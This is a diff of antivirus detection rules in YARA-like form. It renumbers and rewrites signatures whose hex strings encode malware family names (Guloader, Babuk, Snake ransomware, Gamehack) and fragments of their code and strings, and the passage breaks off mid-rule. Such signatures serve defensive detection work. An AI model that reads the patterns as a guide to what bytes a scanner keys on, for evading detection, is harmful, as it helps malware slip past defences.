_InfrastructureShared_11395{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_11396{ +rule _InfrastructureShared_12137{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -125413,7 +133704,7 @@ rule _InfrastructureShared_11396{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_11397{ +rule _InfrastructureShared_12138{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -125424,7 +133715,7 @@ rule _InfrastructureShared_11397{ ((#a_41_0 & 1)*20515+(#a_c0_1 & 1)*576) >=1 } -rule _InfrastructureShared_11398{ +rule _InfrastructureShared_12139{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -125435,7 +133726,7 @@ rule _InfrastructureShared_11398{ ((#a_4c_0 & 1)*21539+(#a_73_1 & 1)*17522) >=1 } -rule _InfrastructureShared_11399{ +rule _InfrastructureShared_12140{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -125447,7 +133738,7 @@ rule _InfrastructureShared_11399{ ((#a_6b_0 & 1)*17955+(#a_9a_1 & 1)*-25489+(#a_4d_2 & 1)*19529) >=1 } -rule _InfrastructureShared_11400{ +rule _InfrastructureShared_12141{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -125457,7 +133748,7 @@ rule _InfrastructureShared_11400{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_11401{ +rule _InfrastructureShared_12142{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -125467,7 +133758,7 @@ rule _InfrastructureShared_11401{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_11402{ +rule _InfrastructureShared_12143{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -125478,7 +133769,7 @@ rule _InfrastructureShared_11402{ ((#a_46_0 & 1)*16675+(#a_7a_1 & 1)*19712) >=2 } -rule _InfrastructureShared_11403{ +rule _InfrastructureShared_12144{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -125489,7 +133780,7 @@ rule _InfrastructureShared_11403{ ((#a_54_0 & 1)*18467+(#a_e0_1 & 1)*29539) >=2 } -rule _InfrastructureShared_11404{ +rule _InfrastructureShared_12145{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -125500,7 +133791,7 @@ rule _InfrastructureShared_11404{ ((#a_54_0 & 1)*18467+(#a_13_1 & 1)*23817) >=2 } -rule _InfrastructureShared_11405{ +rule _InfrastructureShared_12146{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -125511,7 +133802,7 @@ rule _InfrastructureShared_11405{ ((#a_46_0 & 1)*21283+(#a_b8_1 & 1)*-2301) >=2 } -rule _InfrastructureShared_11406{ +rule _InfrastructureShared_12147{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -125522,7 +133813,7 @@ rule _InfrastructureShared_11406{ ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*-6144) >=2 } -rule _InfrastructureShared_11407{ +rule _InfrastructureShared_12148{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -125534,7 +133825,7 @@ rule _InfrastructureShared_11407{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*27955+(#a_40_2 & 1)*4096) >=2 } -rule _InfrastructureShared_11408{ +rule _InfrastructureShared_12149{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -125546,7 +133837,7 @@ rule _InfrastructureShared_11408{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*0+(#a_a5_2 & 1)*0) >=2 } -rule _InfrastructureShared_11409{ +rule _InfrastructureShared_12150{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -125559,7 +133850,7 @@ rule _InfrastructureShared_11409{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*32067+(#a_65_2 & 1)*21249+(#a_00_3 & 1)*50) >=2 } -rule _InfrastructureShared_11410{ +rule _InfrastructureShared_12151{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -125572,7 +133863,7 @@ rule _InfrastructureShared_11410{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*513+(#a_5e_2 & 1)*-29952+(#a_50_3 & 1)*30066) >=2 } -rule _InfrastructureShared_11411{ +rule _InfrastructureShared_12152{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -125584,7 +133875,7 @@ rule _InfrastructureShared_11411{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*51+(#a_00_2 & 1)*0) >=3 } -rule _InfrastructureShared_11412{ +rule _InfrastructureShared_12153{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -125595,7 +133886,7 @@ rule _InfrastructureShared_11412{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*-31896) >=3 } -rule _InfrastructureShared_11413{ +rule _InfrastructureShared_12154{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -125606,7 +133897,7 @@ rule _InfrastructureShared_11413{ ((#a_46_0 & 1)*16675+(#a_01_2 & 1)*1) >=3 } -rule _InfrastructureShared_11414{ +rule _InfrastructureShared_12155{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -125617,7 +133908,7 @@ rule _InfrastructureShared_11414{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*29301) >=3 } -rule _InfrastructureShared_11415{ +rule _InfrastructureShared_12156{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -125629,7 +133920,7 @@ rule _InfrastructureShared_11415{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*98+(#a_31_2 & 1)*16705) >=3 } -rule _InfrastructureShared_11416{ +rule _InfrastructureShared_12157{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -125640,7 +133931,7 @@ rule _InfrastructureShared_11416{ ((#a_54_0 & 1)*18467+(#a_65_2 & 1)*385) >=3 } -rule _InfrastructureShared_11417{ +rule _InfrastructureShared_12158{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -125652,7 +133943,7 @@ rule _InfrastructureShared_11417{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*24909+(#a_4b_2 & 1)*21587) >=3 } -rule _InfrastructureShared_11418{ +rule _InfrastructureShared_12159{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -125664,7 +133955,7 @@ rule _InfrastructureShared_11418{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*98+(#a_6e_2 & 1)*29806) >=3 } -rule _InfrastructureShared_11419{ +rule _InfrastructureShared_12160{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -125676,7 +133967,7 @@ rule _InfrastructureShared_11419{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*24948+(#a_63_2 & 1)*47) >=3 } -rule _InfrastructureShared_11420{ +rule _InfrastructureShared_12161{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -125689,7 +133980,7 @@ rule _InfrastructureShared_11420{ ((#a_46_0 & 1)*16675+(#a_0c_1 & 1)*-30362+(#a_00_2 & 1)*30720+(#a_00_3 & 1)*30720) >=3 } -rule _InfrastructureShared_11421{ +rule _InfrastructureShared_12162{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -125702,34 +133993,21 @@ rule _InfrastructureShared_11421{ ((#a_46_0 & 1)*21283+(#a_20_1 & 1)*24943+(#a_6c_2 & 1)*28277+(#a_00_3 & 1)*55) >=3 } -rule _InfrastructureShared_11422{ +rule _InfrastructureShared_12163{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " strings : $a_46_0 = {45 52 3a 53 6f 66 74 77 61 72 65 42 75 6e 64 6c 65 72 3a 57 69 6e 33 32 2f 50 6f 6b 61 76 61 6d 70 6f 00 01 00 21 01 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 2f 57 69 6e 43 68 65 63 6b 53 65 74 75 70 2e 65 78 65 00 01 00 11 01 } //16675 - $a_49_1 = {73 70 65 63 74 6f 72 2e 64 6c 6c 00 01 00 16 01 70 72 6f 78 79 5f 72 65 6d 6f 76 65 5f 63 6d 64 5f 77 69 6e 37 00 01 00 0d 01 26 73 63 74 3d 41 47 52 26 73 69 64 3d 01 00 0b 01 20 2f 69 6e 73 74 5f 61 6c 74 00 00 00 78 a5 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 50 55 41 42 75 6e 64 6c 65 72 3a 57 69 6e 33 32 2f } //27991 - $a_69_2 = {47 65 74 2e 61 77 32 38 00 02 00 39 80 01 43 3a 5c 6d 65 64 69 61 67 65 74 5c 6d 65 64 69 61 67 65 74 2d 73 6f 75 72 63 65 73 2d 72 65 6c 65 61 73 65 5c 72 65 6c 65 61 73 65 5c 6d 65 64 69 61 67 65 74 2e 70 64 62 01 00 0c 80 01 6d 65 64 69 61 67 65 74 2e 65 78 65 01 00 07 80 01 74 76 73 68 6f 77 73 } //25933 - $a_80_3 = {6c 69 62 76 6c 63 5f 6d 65 64 69 61 5f 70 6c 61 79 65 72 5f 73 74 6f 70 } //libvlc_media_player_stop 1 - $a_a5_4 = {00 04 00 04 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 41 44 36 31 21 4d 54 42 00 01 00 2a 81 01 42 6f 69 6c 65 72 70 6c 61 74 65 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 25 81 01 24 37 39 63 35 66 36 66 36 2d 66 34 30 35 2d 34 35 64 62 2d 39 } //0 + $a_49_1 = {73 70 65 63 74 6f 72 2e 64 6c 6c 00 01 00 16 01 70 72 6f 78 79 5f 72 65 6d 6f 76 65 5f 63 6d 64 5f 77 69 6e 37 00 01 00 0d 01 26 73 63 74 3d 41 47 52 26 73 69 64 3d 01 00 0b 01 20 2f 69 6e 73 74 5f 61 6c 74 00 00 00 78 a5 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e } //27991 + $a_73_2 = {61 2e 41 41 44 36 31 21 4d 54 42 00 01 00 2a 81 01 42 6f 69 6c 65 72 70 6c 61 74 65 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 25 81 01 24 37 39 63 35 66 36 66 36 2d 66 34 30 35 2d 34 35 64 62 2d 39 61 64 31 2d 30 31 32 39 32 62 64 32 63 66 34 38 } //21620 + $a_81_3 = {47 65 74 48 49 4e 53 54 41 4e 43 45 } //1 GetHINSTANCE + $a_81_4 = {49 6e 76 6f 6b 65 } //1 Invoke condition: - ((#a_46_0 & 1)*16675+(#a_49_1 & 1)*27991+(#a_69_2 & 1)*25933+(#a_80_3 & 1)*1+(#a_a5_4 & 1)*0) >=3 + ((#a_46_0 & 1)*16675+(#a_49_1 & 1)*27991+(#a_73_2 & 1)*21620+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1) >=3 } -rule _InfrastructureShared_11423{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " - - strings : - $a_46_0 = {50 55 41 42 75 6e 64 6c 65 72 3a 57 69 6e 33 32 2f 4d 65 64 69 61 47 65 74 2e 61 77 32 38 00 02 00 39 80 01 43 3a 5c 6d 65 64 69 61 67 65 74 5c 6d 65 64 69 61 67 65 74 2d 73 6f 75 72 63 65 73 2d 72 65 6c 65 61 73 65 5c 72 65 6c } //16675 - $a_65_1 = {6d 65 64 69 61 67 65 74 2e 70 64 62 01 00 0c 80 01 6d 65 64 69 61 67 65 74 2e 65 78 65 01 00 07 80 01 74 76 73 68 6f 77 73 01 00 18 80 01 6c 69 62 76 6c 63 5f 6d 65 64 69 61 5f 70 6c 61 79 65 72 5f 73 74 6f 70 00 00 78 a5 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 41 44 } //24933 - $a_4d_2 = {42 00 01 00 2a 81 01 42 6f 69 6c 65 72 70 6c 61 74 65 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 } //12598 - $a_63_3 = {73 2e 72 65 73 6f 75 72 63 65 73 01 00 25 81 01 24 37 39 63 35 66 36 66 36 2d 66 34 30 35 2d 34 35 64 62 2d 39 61 64 31 2d 30 31 32 39 32 62 64 32 63 66 34 38 01 00 0c 81 01 47 65 74 48 49 4e 53 54 41 4e 43 45 01 00 06 81 01 49 6e 76 6f 6b 65 00 00 78 a5 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 } //30063 - condition: - ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*24933+(#a_4d_2 & 1)*12598+(#a_63_3 & 1)*30063) >=4 - -} -rule _InfrastructureShared_11424{ +rule _InfrastructureShared_12164{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -125741,7 +134019,7 @@ rule _InfrastructureShared_11424{ ((#a_54_0 & 1)*18467+(#a_24_1 & 1)*-32475+(#a_36_2 & 1)*13667) >=4 } -rule _InfrastructureShared_11425{ +rule _InfrastructureShared_12165{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -125754,7 +134032,7 @@ rule _InfrastructureShared_11425{ ((#a_54_0 & 1)*18467+(#a_20_1 & 1)*25960+(#a_33_2 & 1)*12624+(#a_6c_3 & 1)*26465) >=4 } -rule _InfrastructureShared_11426{ +rule _InfrastructureShared_12166{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -125767,7 +134045,7 @@ rule _InfrastructureShared_11426{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*-32489+(#a_74_2 & 1)*27765+(#a_54_3 & 1)*8499) >=4 } -rule _InfrastructureShared_11427{ +rule _InfrastructureShared_12167{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -125779,7 +134057,7 @@ rule _InfrastructureShared_11427{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*26213+(#a_72_3 & 1)*27393) >=4 } -rule _InfrastructureShared_11428{ +rule _InfrastructureShared_12168{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -125792,31 +134070,69 @@ rule _InfrastructureShared_11428{ ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*25710+(#a_21_2 & 1)*12849+(#a_6c_3 & 1)*25966) >=4 } -rule _InfrastructureShared_11429{ +rule _InfrastructureShared_12169{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 56 43 48 31 32 33 21 4d 54 42 00 01 00 18 81 01 6c 75 6e 63 68 65 73 20 72 65 63 6f 6e 6e 65 63 74 69 6f 6e 20 78 65 74 01 00 25 81 01 64 65 63 65 6e 74 72 61 6c 69 73 6d 65 72 6e 65 20 6c 61 74 65 } //18467 - $a_65_1 = {65 7a 75 65 6c 61 6e 65 72 65 73 01 00 18 81 01 66 6f 6e 64 73 64 69 73 70 6f 73 69 74 69 6f 6e 20 75 64 73 6c 67 65 73 01 00 12 81 01 66 6f 72 73 67 73 61 72 62 65 6a 64 65 74 2e 73 65 72 00 00 78 a5 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 56 42 58 30 31 21 4d 54 42 00 01 00 1b 81 01 64 69 6b 74 61 } //8312 - $a_65_2 = {6e 65 20 65 6c 65 76 61 74 6f 72 73 74 6f 6c 65 73 01 00 29 81 01 62 61 6c 74 69 6d 6f 72 65 20 6b 61 6c 6b 75 6c 61 74 69 6f 6e 73 6b 6f 6c 6f 6e 6e 65 6e 20 6c 69 6d 6e 6f 6c 6f 67 69 63 01 00 0c 81 01 62 65 73 70 6e 64 69 6e 67 65 72 73 01 00 18 81 01 6d 61 6e 64 61 74 6f 72 69 61 6c 20 63 68 75 6e 6b 69 6c 79 2e 65 78 65 00 00 78 a5 00 } //30068 + $a_65_1 = {65 7a 75 65 6c 61 6e 65 72 65 73 01 00 18 81 01 66 6f 6e 64 73 64 69 73 70 6f 73 69 74 69 6f 6e 20 75 64 73 6c 67 65 73 01 00 12 81 01 66 6f 72 73 67 73 61 72 62 65 6a 64 65 74 2e 73 65 72 00 00 78 a5 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 53 4c 30 31 21 4d 54 42 00 01 00 18 81 01 72 6f 6c 6c 65 73 } //8312 + $a_6c_2 = {6e 65 20 6d 69 73 72 65 66 6c 65 63 74 01 00 22 81 01 75 6e 6f 63 63 75 70 69 65 64 20 75 6e 61 64 6d 6f 6e 69 74 6f 72 79 20 6b 61 6d 70 65 76 6e 65 72 73 01 00 1f 81 01 68 61 6c 76 74 61 6e 67 65 6e 74 65 72 20 6e 69 70 73 67 65 6e 73 74 61 6e 64 73 2e 65 78 65 01 00 10 81 01 73 74 75 64 69 65 72 6e 65 20 72 69 67 67 65 } //26992 condition: - ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*8312+(#a_65_2 & 1)*30068) >=4 + ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*8312+(#a_6c_2 & 1)*26992) >=4 } -rule _InfrastructureShared_11430{ +rule _InfrastructureShared_12170{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 53 4c 30 31 21 4d 54 42 00 01 00 18 81 01 72 6f 6c 6c 65 73 70 69 6c 6c 65 6e 65 20 6d 69 73 72 65 66 6c 65 63 74 01 00 22 81 01 75 6e 6f 63 63 75 70 69 65 64 20 75 6e 61 64 6d 6f 6e 69 74 6f 72 79 } //18467 + $a_6d_1 = {65 76 6e 65 72 73 01 00 1f 81 01 68 61 6c 76 74 61 6e 67 65 6e 74 65 72 20 6e 69 70 73 67 65 6e 73 74 61 6e 64 73 2e 65 78 65 01 00 10 81 01 73 74 75 64 69 65 72 6e 65 20 72 69 67 67 65 64 00 00 78 a5 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e } //27424 + $a_30_2 = {21 4d 54 42 00 01 00 25 81 01 66 72 6b 65 6e 6b 6c 6f 73 74 65 72 65 74 73 20 72 65 66 6c 65 63 74 6f 72 73 20 6b 6f 6e 64 69 74 6f 72 65 6e 01 00 12 81 01 74 61 67 73 65 6c 76 62 6f 72 64 65 74 73 2e } //21580 + $a_01_3 = {00 1a 81 01 73 65 72 76 69 63 65 61 66 74 61 6c 65 73 20 75 6e 6c 61 6d 69 6e 61 74 65 64 01 00 18 81 01 73 61 6c 61 74 65 72 69 65 72 20 74 68 61 6d 6e 6f 70 68 69 6c 69 6e 65 00 00 78 a5 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 56 42 58 30 31 21 4d } //30821 + condition: + ((#a_54_0 & 1)*18467+(#a_6d_1 & 1)*27424+(#a_30_2 & 1)*21580+(#a_01_3 & 1)*30821) >=4 + +} +rule _InfrastructureShared_12171{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 54 43 30 31 21 4d 54 42 00 01 00 25 81 01 66 72 6b 65 6e 6b 6c 6f 73 74 65 72 65 74 73 20 72 65 66 6c 65 63 74 6f 72 73 20 6b 6f 6e 64 69 74 6f 72 65 6e 01 00 12 81 01 74 61 67 73 65 6c 76 62 6f 72 } //18467 + $a_73_1 = {65 78 65 01 00 1a 81 01 73 65 72 76 69 63 65 61 66 74 61 6c 65 73 20 75 6e 6c 61 6d 69 6e 61 74 65 64 01 00 18 81 01 73 61 6c 61 74 65 72 69 65 72 20 74 68 61 6d 6e 6f 70 68 69 6c 69 6e 65 00 00 78 a5 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 56 42 58 30 31 21 4d 54 42 00 01 00 1b 81 01 64 69 6b } //25956 + $a_75_2 = {65 72 6e 65 20 65 6c 65 76 61 74 6f 72 73 74 6f 6c 65 73 01 00 29 81 01 62 61 6c 74 69 6d 6f 72 65 20 6b 61 6c 6b 75 6c 61 74 69 6f 6e 73 6b 6f 6c 6f 6e 6e 65 6e 20 6c 69 6d 6e 6f 6c 6f 67 69 63 01 00 0c 81 01 62 65 73 70 6e 64 69 6e 67 65 72 73 01 00 18 81 01 6d 61 6e 64 61 74 6f 72 69 61 6c 20 63 68 75 6e 6b 69 6c 79 2e 65 78 65 00 00 78 a5 00 } //24948 + condition: + ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*25956+(#a_75_2 & 1)*24948) >=4 + +} +rule _InfrastructureShared_12172{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 56 42 58 30 31 21 4d 54 42 00 01 00 1b 81 01 64 69 6b 74 61 74 75 72 65 72 6e 65 20 65 6c 65 76 61 74 6f 72 73 74 6f 6c 65 73 01 00 29 81 01 62 61 6c 74 69 6d 6f 72 65 20 6b 61 6c 6b 75 6c 61 74 69 } //18467 - $a_6b_1 = {6c 6f 6e 6e 65 6e 20 6c 69 6d 6e 6f 6c 6f 67 69 63 01 00 0c 81 01 62 65 73 70 6e 64 69 6e 67 65 72 73 01 00 18 81 01 6d 61 6e 64 61 74 6f 72 69 61 6c 20 63 68 75 6e 6b 69 6c 79 2e 65 78 65 00 00 78 a5 00 00 05 00 04 00 06 00 21 23 54 45 4c 3a 52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 42 61 62 75 6b 2e 58 58 21 64 68 61 00 01 00 16 03 43 61 6e 27 } //28271 - $a_70_2 = {6e 20 90 02 30 2c 20 62 79 65 21 90 00 01 00 0b 01 63 75 72 76 70 61 74 74 65 72 6e 01 00 0b 01 6e 6f 74 65 70 61 74 74 65 72 6e 01 00 25 01 63 61 6e 27 74 20 62 65 20 62 69 67 67 65 72 20 74 68 61 6e 20 38 31 39 32 20 62 79 74 65 73 2c 20 62 79 65 21 01 00 0a 01 48 43 52 59 50 54 50 52 4f 56 01 00 0a 01 63 75 72 76 65 32 35 35 31 } //8308 + $a_6b_1 = {6c 6f 6e 6e 65 6e 20 6c 69 6d 6e 6f 6c 6f 67 69 63 01 00 0c 81 01 62 65 73 70 6e 64 69 6e 67 65 72 73 01 00 18 81 01 6d 61 6e 64 61 74 6f 72 69 61 6c 20 63 68 75 6e 6b 69 6c 79 2e 65 78 65 00 00 78 a5 00 00 04 00 04 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 61 6d 65 68 61 63 6b 2e 59 41 41 21 4d 54 42 00 01 00 0a 01 } //28271 + $a_65_2 = {20 47 61 6d 65 01 00 1b 01 47 61 6d 65 20 4f 76 65 72 21 20 43 6c 69 63 6b 20 74 6f 20 52 65 73 74 61 72 74 01 00 0e 01 6d 76 63 6f 69 62 6a 68 64 6f 69 72 67 68 01 00 36 01 81 f2 b7 1d c1 04 85 c9 0f 49 d0 8d 04 12 8b c8 81 f1 b7 1d c1 04 85 d2 0f 49 c8 8d 04 09 8b d0 81 f2 b7 1d c1 04 85 c9 0f 49 d0 8d 04 12 8b c8 81 f1 b7 1d c1 04 00 00 78 a5 00 00 05 } //28500 condition: - ((#a_54_0 & 1)*18467+(#a_6b_1 & 1)*28271+(#a_70_2 & 1)*8308) >=4 + ((#a_54_0 & 1)*18467+(#a_6b_1 & 1)*28271+(#a_65_2 & 1)*28500) >=4 } -rule _InfrastructureShared_11431{ +rule _InfrastructureShared_12173{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 61 6d 65 68 61 63 6b 2e 59 41 41 21 4d 54 42 00 01 00 0a 01 54 6f 77 65 72 20 47 61 6d 65 01 00 1b 01 47 61 6d 65 20 4f 76 65 72 21 20 43 6c 69 63 6b 20 74 6f 20 52 65 73 74 61 72 74 01 } //21283 + $a_6d_1 = {63 } //3584 c + $a_6a_2 = {64 6f 69 72 67 68 01 00 36 01 81 f2 b7 1d c1 04 85 c9 0f 49 d0 8d 04 12 8b c8 81 f1 b7 1d c1 04 85 d2 0f 49 c8 8d 04 09 8b d0 81 f2 b7 1d c1 04 85 c9 0f 49 d0 8d 04 12 8b c8 81 f1 b7 1d c1 04 00 00 78 a5 00 00 05 00 04 00 06 00 21 23 54 45 4c 3a 52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 42 61 62 } //26991 + $a_58_3 = {21 64 68 61 00 01 00 16 03 43 61 6e 27 74 20 6f 70 65 6e 20 90 02 30 2c 20 62 79 65 21 90 00 01 00 0b 01 63 75 72 76 70 61 74 74 65 72 6e } //27509 + condition: + ((#a_46_0 & 1)*21283+(#a_6d_1 & 1)*3584+(#a_6a_2 & 1)*26991+(#a_58_3 & 1)*27509) >=4 + +} +rule _InfrastructureShared_12174{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 04 00 06 00 21 " @@ -125824,25 +134140,36 @@ rule _InfrastructureShared_11431{ $a_4c_0 = {52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 42 61 62 75 6b 2e 58 58 21 64 68 61 00 01 00 16 03 43 61 6e 27 74 20 6f 70 65 6e 20 90 02 30 2c 20 62 79 65 21 90 00 01 00 0b 01 63 75 72 76 70 61 74 74 65 72 6e 01 00 } //21539 $a_6f_1 = {65 70 61 74 74 65 72 6e 01 00 25 01 63 61 6e 27 74 20 62 65 20 62 69 67 67 65 72 20 74 68 61 6e 20 38 31 39 32 20 62 79 74 65 73 2c 20 62 79 65 21 01 00 0a 01 48 43 52 59 50 54 50 52 4f 56 01 00 0a 01 63 75 72 76 65 32 35 35 31 39 00 00 78 a5 00 00 05 00 05 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f } //267 $a_67_2 = {6e 74 2e 4e 43 21 4d 54 42 00 03 00 40 03 48 89 81 f8 03 00 00 48 8b 44 24 30 48 89 81 e8 03 00 00 48 8d 44 24 38 48 89 81 f0 03 00 00 b8 01 00 00 00 eb 90 01 01 31 c0 eb 02 31 c0 48 89 4c 24 20 88 44 24 1f 48 8b 15 f2 f6 4b 00 90 00 02 00 31 03 48 89 14 24 48 8d 91 b8 03 00 00 48 89 54 24 } //30318 - $a_01_3 = {04 45 0f 57 ff 4c 8b 35 da 68 54 00 65 4d 8b 36 4d 8b 36 0f b6 44 24 1f 84 c0 74 12 90 00 00 00 78 a5 00 00 05 00 05 00 03 00 21 23 54 45 4c 3a 52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 53 6e 61 6b 65 2e 42 50 00 01 00 0c 00 47 6f 20 62 75 69 6c 64 20 49 44 3a 02 00 24 03 96 88 44 2c 90 01 01 96 45 39 d5 90 01 02 0f b6 34 2b 90 02 03 39 c5 90 01 02 0f b6 3c 29 31 fe 83 fd 90 00 02 00 45 03 bb 00 ca 9a 3b 89 d1 f7 e3 81 e1 ff ff ff } //-6136 - $a_01_4 = {c8 89 c6 05 00 00 1a 3d 90 01 03 69 ed 00 ca 9a 3b 01 ea 89 